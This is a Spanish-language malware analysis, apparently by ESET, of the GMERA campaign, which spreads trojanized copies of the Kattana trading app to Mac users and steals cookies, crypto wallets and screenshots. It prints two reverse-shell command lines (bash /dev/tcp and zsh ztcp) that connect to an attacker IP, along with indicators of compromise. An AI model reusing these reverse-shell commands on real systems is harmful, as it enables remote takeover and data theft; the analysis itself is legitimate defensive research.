App de trading de criptomonedas para Mac es utilizada para distribuir malware

Análisis del malware GMERA y cómo a través de aplicaciones para la compra y venta de criptomonedas dirigidas a usuarios de Mac busca robar información.

Análisis del malware GMERA y cómo a través de aplicaciones para la compra y venta de criptomonedas dirigidas a usuarios de Mac busca robar información.

Recientemente hemos descubierto sitios web que distribuyen aplicaciones maliciosas para la compra y venta de criptomonedas dirigidas a usuarios de Mac. El malware utilizado tiene como objetivo robar información, como son cookies del navegador, billeteras de criptomonedas y realizar capturas de pantalla. Al analizar las muestras de malware, descubrimos rápidamente que se trataba de una nueva campaña de lo que los investigadores de Trend Micro llamaron GMERA en un análisis que publicaron en septiembre de 2019. Al igual que en las campañas anteriores, el malware reporta a un servidor de C&C a través de HTTP y conecta sesiones de terminal remotas a otro servidor de C&C utilizando una dirección IP hardcodeada. Sin embargo, esta vez los autores del malware no solo envolvieron la amenaza en una aplicación original y legítima, sino que también modificaron el nombre de la aplicación de trading Kattana y realizaron copias de su sitio web original. En este sentido, hemos visto las siguientes marcas ficticias siendo utilizadas en diferentes campañas: Cointrazer, Cupatrade, Licatrade y Trezarus. Además del análisis del código de malware, los investigadores de ESET también establecieron honeypots para tratar de revelar las motivaciones del grupo de ciberdelincuentes detrás de este código malicioso.

Distribución

Todavía no hemos podido encontrar exactamente dónde se promueven estas aplicaciones troyanizadas. Sin embargo, en marzo de 2020, Kattana publicó una advertencia que sugiere que las víctimas fueron abordadas de forma individual con la intención de engañarlas para que descarguen una app troyanizada. No pudimos confirmar que estuviera vinculado a esta campaña en particular, pero bien podría ser el caso.

Figura 1. Kattana advierte sobre las copias troyanizadas de su software a través de Twitter

Los sitios web copiados están configurados para que la descarga de la falsa aplicación parezca legítima. En este sentido, para una persona que no conoce Kattana, los sitios web tienen apariencia legítima.

Figura 2. Sitio web original (legítimo) de Kattana

Figura 3. Sitio web malicioso bajo el nombre de Licatrade que contiene un enlace para la descarga del malware

El botón de descarga en los sitios falsos es un enlace a un archivo ZIP que contiene el paquete de aplicaciones troyanizadas.

Análisis

El análisis de malware en este caso es bastante sencillo. Tomaremos la muestra de Licatrade como el ejemplo aquí. Otras muestras tienen diferencias menores, pero las ideas y funcionalidades son esencialmente las mismas. Análisis similares de anteriores campañas de GMERA fueron proporcionadas en publicaciones de Trend Micro y en el reporte de 2019 de malware para Mac elaborado por Objective-See.

Figura 4. Contenido del paquete de la aplicación Licatrade

Cuando descargamos el archivo, tanto las modificaciones en la marcas de tiempo de los archivos que contiene el archivo ZIP, así como la fecha en la que se firmó la aplicación y la última modificación (Last-Modified) del encabezado HTTP, todas indican como fecha el 15 de abril de 2020. Por lo que todo parece indicar que esta campaña se inició en esa fecha.

Un shell script (run.sh) es incluido dentro de los recursos que contiene el paquete de la aplicación. Este ejecutable principal, escrito en Swift, ejecuta run.sh. Por alguna razón, el autor del malware ha duplicado la funcionalidad para enviar un simple informe a un servidor de C&C a través de HTTP y para conectarse a un host remoto a través de TCP que proporciona una shell remota a los atacantes, tanto en el ejecutable principal como en el script de la shell. Una funcionalidad adicional, solo en el script de la shell, es configurar la persistencia instalando un Launch Agent.

Aquí está la fuente completa del script de la Shell (puntos suspensivos en strings largas y más inofensivas):

 

Es interesante observar que la persistencia se rompe en la muestra de Licatrade: el contenido resultante del archivo Launch Agent (.com.apple.system.plist) no está en formato de lista de propiedades como launchd espera, sino que es la línea de comando para ser ejecutado.

El contenido descodificado (puntos suspensivos en strings largas) de la variable $plist_text es:

 

Si se ejecuta directamente, este código abriría una shell inversa desde la máquina víctima a un servidor controlado por el atacante, pero eso falla aquí. Afortunadamente para los atacantes, la última línea del script de la shell también inicia una shell inversa a su servidor.

La muestra Cointrazer, utilizada en campañas anteriores a Licatrade, no sufre este problema: el Launch Agent es instalado y se inicia con éxito cuando el usuario inicia sesión.

Las diversas shells inversas utilizadas por estos operadores de malware se conectan a diferentes puertos remotos dependiendo de cómo se iniciaron. Todas las conexiones están sin cifrado. Aquí hay una lista de puertos, basados en la muestra analizada de Licatrade.

TCP PortWhereHow
25733Licatrade executablezsh in screen using ztcp
run.shbash in screen using /dev/tcp
Launch Agent (Not working)bash in screen using /dev/tcp
25734Licatrade executablezsh using ztcp
25735Licatrade executablebash using /dev/tcp
25736Licatrade executablebash in screen using /dev/tcp
25737Licatrade executablebash in screen using /dev/tcp
25738Licatrade executablezsh in screen using ztcp

Aquí hay algunos ejemplos de líneas de comando utilizadas:

  • Bash en pantalla usando /dev/tcp:

screen -d -m bash -c ‘bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1’

  • zsh usando ztcp:

zsh -c ‘zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY’

La aplicación de Kattana con otro nombre también se encuentra en los recursos del paquete de la aplicación. Queríamos ver si, además del cambio de nombre e ícono en la aplicación, se cambiaba algún otro código. Dado que Kattana solicita credenciales para que las plataformas de trading realicen operaciones comerciales, verificamos si los campos de entrada de estas se alteraron y si las credenciales se exfiltraron de alguna manera. Kattana está construida con Electron, y las aplicaciones Electron tienen un archivo app.asar, que es un archivo que contiene el código JavaScript de la aplicación. Hemos comprobado todos los cambios entre la aplicación original de Kattana y la copia maliciosa de Licatrade y descubrimos que solo se cambiaron las strings y las imágenes.

Figura 5. Diferencia parcial entre Kattana y Licatrade

Tanto Licatrade como sus recursos fueron firmados utilizando el mismo certificado, donde en el campo nombre figuraba establecido a Andrey Novoselov y utilizando el ID del desarrollador M8WVDT659T. El certificado fue emitido por Apple el 6 de abril de 2020. Fue revocado el mismo día en que notificamos a Apple acerca de esta aplicación maliciosa.

Figura 6. Certificado utilizado para firmar Licatrade

Figura 7. El certificado de Licatrade fue revocado el 28 de mayo de 2020

Para cada una de las otras campañas que analizamos se utilizó un certificado diferente. Ambos ya fueron revocados por Apple al momento en que comenzamos nuestros análisis. Consulte la sección de IoC para obtener detalles sobre estos. Es interesante notar que en el caso de Cointrazer, solo hubo una diferencia de 15 minutos entre el momento en que Apple emitió el certificado y que los actores maliciosos lo utilizaron para firmar su aplicación troyanizada. Esto, y el hecho de que no encontramos nada más firmado con la misma clave, sugiere que obtuvieron el certificado explícitamente para ese propósito.

Infraestructura

La aplicación maliciosa Licatrade estaba disponible en el sitio web licatrade.com y el dominio del servidor C&C al que reporta vía HTTP es stepbystepby.com. Ambos dominios se registraron utilizando la dirección de correo electrónico levistor777@gmail.com. La búsqueda de otros dominios registrados con esa dirección de correo electrónico revela lo que parecerían ser campañas anteriores. Aquí hay una lista de dominios que encontramos en muestras o registrados con esa dirección de correo electrónico.

Domain nameRegistration dateComment
repbaerray.pw2019-02-25C&C server for HTTP report of Stockfolio app
macstockfolio.com2019-03-03Website distributing the malicious Stockfolio app
latinumtrade.com2019-07-25Website distributing the malicious Latinum app
trezarus.com2019-06-03Website distributing the malicious Trezarus app
trezarus.net2019-08-07
cointrazer.com2019-08-18Website distributing the malicious Cointrazer app
apperdenta.com2019-08-18Usage unknown
narudina.com2019-09-23Usage unknown
nagsrsdfsudinasa.com2019-10-09C&C server for HTTP report of Cointrazer app
cupatrade.com2020-03-28Website distributing the malicious Cupatrade app
stepbystepby.com2020-04-07C&C server for HTTP report of Licatrade app
licatrade.com2020-04-13Website distributing the malicious Licatrade app
creditfinelor.com2020-05-29Empty page, usage unknown
maccatreck.com2020-05-29Some authentication form

Tanto los sitios web como los servidores HTTP para C&C que reciben el primer informe del malware están alojados detrás de Cloudflare.

Interacciones del honeypot

Para obtener más información sobre las intenciones de este grupo configuramos honeypots desde los cuales monitoreamos todas las interacciones entre las shell inversas de los backdoors de GMERA y los operadores de este malware.

No vimos ningún comando del C&C emitido a través del canal del servidor HTTP C&C. Todo sucedió a través de las shells inversas. Cuando se conectó por primera vez, el servidor de C&C envió un pequeño script para recopilar el nombre de usuario, la versión de macOS y la ubicación (basada en la dirección IP externa) del dispositivo comprometido.

 

que envió algo como esto a los operadores:

 

La conexión TCP permanece abierta y espera más comandos. En nuestro caso, después de un tiempo, los operadores inspeccionaron manualmente la máquina. En varios de nuestros honeypots, los comandos utilizados para realizar esa inspección variaron. Parte de esto era solo listar archivos en todo el sistema de archivos. A veces, habrían copiado y pegado un script codificado en base64 diseñado para enumerar información para revelar si se trata de un honeypot o de un blanco interesante. El script es decodificado y luego canalizado a bash.

Figura 8. Captura del paquete en el que el operador envía el script de reconocimiento secundario codificado en base64

Aquí está el script decodificado:

 

Este script es en realidad muy similar al archivo del plugin encontrado en una de las muestras de Stockfolio analizadas el año pasado. Sin embargo, en las campañas más recientes, eligieron enviar el script de reconocimiento a través de la red solo a víctimas interesantes. También se actualizó para incluir información adicional.

Figura 9. Informe de salida que se vería en el terminal de un operador (reconstruido a partir de la captura de paquetes)

Repasaremos cada sección del script aquí:

  • Obtiene el informe completo sobre la IP externa desde ipinfo.io
  • Comprueba el modelo de Mac utilizando los últimos 4 dígitos del número de serie de Mac y un servicio HTTP proporcionado por Apple para traducirlo a un nombre amigable como “MacBook Pro (Retina, 15 pulgadas, finales de 2013)”. Es probable que las máquinas virtuales tengan números de serie no válidos y no muestren un modelo aquí.
  • Proporciona información de la versión de macOS instalada. Hay un rojo bastante grande (usando la secuencia de escape ANSI), todas las mayúsculas advierten cuando la computadora ejecuta macOS Catalina (10.15). Creemos que entendemos por qué y explicamos esto más adelante.
  • Comprueba cuándo se instaló macOS utilizando el tiempo de modificación de /var/db/.AppleSetupDone.
  • Proporciona información sobre el uso del disco y los detalles de los monitores conectados.
  • Enumera las redes Wi-Fi disponibles. Es probable que los Honeypots tengan Wi-Fi desactivado.
  • Detecta si la computadora es una máquina virtual VMware, Parallels o VirtualBox al observar las strings de los proveedores de dispositivos conectados.
  • Comprueba si los editores de texto comunes o las aplicaciones IDE están instalados y advierte a los operadores que “tengan cuidado” (sic) porque esta víctima podría tener más conocimientos informáticos de lo habitual.
  • Obtiene los primeros 20 comandos (es decir, los más antiguos) del archivo del historial de bash.
  • Finalmente, toma una captura de pantalla, la redimensiona y la sube a file.io. Comprueba si el sistema ejecuta macOS Catalina antes de hacerlo, pero un error en el script hace que esta comprobación sea inútil. El operador de control “&”, que inicia comandos en paralelo, se usa en lugar del operador lógico AND (“&&”). Esto significa que la captura de pantalla se realiza independientemente de la versión de macOS..

El hecho de que no se debe tomar una captura de pantalla en Catalina y que se mostrará una señal de advertencia obvia en el terminal del operador nos hizo preguntarnos por qué actúan de manera diferente en la versión actual de macOS. Resulta que Catalina agregó una función donde la grabación de la pantalla o la toma de capturas de pantalla debe ser aprobada por el usuario para cada aplicación. Probamos tomar una captura de pantalla de la shell inversa en Catalina y obtuvimos la siguiente advertencia en nuestro sandbox, la cual es bastante sospechosa teniendo en cuenta que una aplicación de trading no tiene por qué mostrar un mensaje como este.

Figura 10. Advertencia en macOS Catalina si los operadores intentan tomar una captura de pantalla

Si un sistema comprometido es considerado interesante, comienza la fase de exfiltración. Los archivos interesantes se comprimen en un archivo ZIP y se cargan a través de HTTP a otro servidor, también bajo el control de los atacantes.

Figura 11. Captura del paquete de un operador utilizando la shell inversa para exfiltrar las cookies del navegador

Es curioso notar aquí que el archivo /tmp/h.zip no existía. Quizás copiaron y pegaron algún comando que se utilizó para otra víctima.

Según la actividad que hemos presenciado, concluimos que algunos de los intereses de los operadores de este malware son:

  • Información del navegador (cookies, historial)
  • Billeteras de criptomonedas
  • Capturas de pantalla

Conclusión

Las numerosas campañas llevadas a cabo por este grupo muestran cuánto esfuerzo han realizado durante el último año para comprometer a los usuarios de Mac realizando trading en línea. Todavía no estamos seguros de cómo alguien se convierte en una víctima y llega a descargar una de las aplicaciones troyanizadas, pero la hipótesis de que los operadores contacten directamente a sus objetivos y los persuadan mediante ingeniería social para que finalmente instalen la aplicación maliciosa parece ser lo más probable.

Es interesante observar cómo la operación de este malware es más limitada en la versión más reciente de macOS. No vimos que los operadores intentaran eludir la limitación que supone la toma de capturas de pantalla. Además, creemos que la única forma en que podrían ver la pantalla de la computadora de una víctima que ejecuta Catalina sería exfiltrar las capturas de pantalla existentes tomadas por la víctima. Este es un buen ejemplo de una implementación de mitigación en el sistema operativo que ha funcionado para limitar las actividades de los malhechores.

Indicadores de Compromiso (IoCs)

Muestras

SHA-1FilenameESET detection name
2AC42D9A11B67E8AF7B610AA59AADCF1BD5EDE3BLicatrade.zipmultiple threats
560071EF47FE5417FFF62CB5C0E33B0757D197FALicatrade.app/Contents/Resources/run.shOSX/Agent.BA
4C688493958CC7CCCFCB246E706184DD7E2049CELicatrade.app/Contents/MacOS/LicatradeOSX/Agent.BA
9C0D839D1F3DA0577A123531E5B4503587D62229Cointrazer.zipmultiple threats
DA1FDA04D4149EBF93756BCEF758EB860D0791B0Cointrazer.app/Contents/Resources/nytyntrun.shOSX/Agent.AZ
F6CD98A16E8CC2DD3CA1592D9911489BB20D1380Cointrazer.app/Contents/MacOS/CointrazerOSX/Agent.BA
575A43504F79297CBFA900B55C12DC83C2819B46Stockfolio.zipmultiple threats
B8F19B02F9218A8DD803DA1F8650195833057E2CStockfolio.app/Contents/MacOS/StockfoliOSX/Agent.AZ
AF65B1A945B517C4D8BAAA706AA19237F036F023Stockfolio.app/Contents/Resources/run.shOSX/Agent.AZ

Certificado de firma de código

App nameFingerprint (SHA-1)Developer identityValid fromApp signed onRevoked on
StockfolioE5D2C7FB4A64EAF444728E5C61F576FF178C5EBFLevis Toretto (9T4J9V8NV5)2018-11-252019-04-182019-07-26
Cointrazer1BC8EA284F9CE5F5F68C68531A410BCC1CE54A55Andrei Sobolev (A265HSB92F)2019-10-172019-10-172020-04-16
LicatradeBDBD92BFF8E349452B07E5F1D2883678658404A3Andrey Novoselov (M8WVDT659T)2020-04-062020-04-152020-05-28

Redes

Nombres de dominio

• repbaerray.pw
• macstockfolio.com
• latinumtrade.com
• trezarus.com
• trezarus.net
• cointrazer.com
• apperdenta.com
• narudina.com
• nagsrsdfsudinasa.com
• cupatrade.com
• stepbystepby.com
• licatrade.com
• creditfinelor.com
• maccatreck.com

Direcciones IP

• 85.209.88.123
• 85.217.171.87
• 193.37.214.7
• 193.37.212.97

Indicadores basados en host

Rutas de archivo 

• $HOME/Library/LaunchAgents/.com.apple.upd.plist
• $HOME/Library/LaunchAgents/.com.apple.system.plist
• /tmp/.fil.sh
• /tmp/loglog

Launch Agent 

• com.apple.apps.upd
• com.apples.apps.upd

Técnicas de MITRE ATT&CK

TacticIDNameDescription
ExecutionT1204User ExecutionVictim needs to run the malicious application to be compromised.
T1059Command-Line InterfaceGMERA provides reverse bash and zsh shells to its operators.
PersistenceT1159Launch AgentGMERA installs a Launch Agent to maintain persistence.
Defense EvasionT1116Code SigningAll samples of GMERA we have analyzed were signed and used valid, Apple-signed (now revoked), certificates.
Credential AccessT1139Bash HistoryA GMERA reconnaissance script lists the first 20 lines of the .bash_history file.
T1539Steal Web Session CookieGMERA’s operators steal browser cookies via a reverse shell.
DiscoveryT1083File and Directory DiscoveryGMERA’s operators list files on the target system via a reverse shell and ls .
T1497Virtualization/Sandbox EvasionA GMERA reconnaissance script checks for devices specific to hypervisors and warns the operators if run in a virtual machine.
T1040Network SniffingA GMERA reconnaissance script lists Wi-Fi networks available to the compromised Mac using airport -s .
T1082System Information DiscoveryA GMERA reconnaissance script lists information about the system such as macOS version, attached displays and Mac model.
T1518Software DiscoveryA GMERA reconnaissance script checks whether developer tools are installed.
CollectionT1005Data from Local SystemGMERA’s operators use this malware to exfiltrate files from the compromised system.
T1113Screen CaptureGMERA’s operators take screenshots of the compromised system and exfiltrate them through file.io.
Command and ControlT1043Commonly Used PortInitial reporting from the malware is done using HTTP on its standard TCP port (80).
T1065Uncommonly Used PortGMERA reverse shells are opened by connecting to C&C server TCP ports in the range 25733 to 25738.
ExfiltrationT1048Exfiltration Over Alternative ProtocolGMERA exfiltrates files from the reverse shell using HTTP to another attacker-controlled server.

Suscríbase aquí para recibir actualizaciones sobre cualquier artículo nuevo en la sección crisis en Ucrania.

Newsletter

Discusión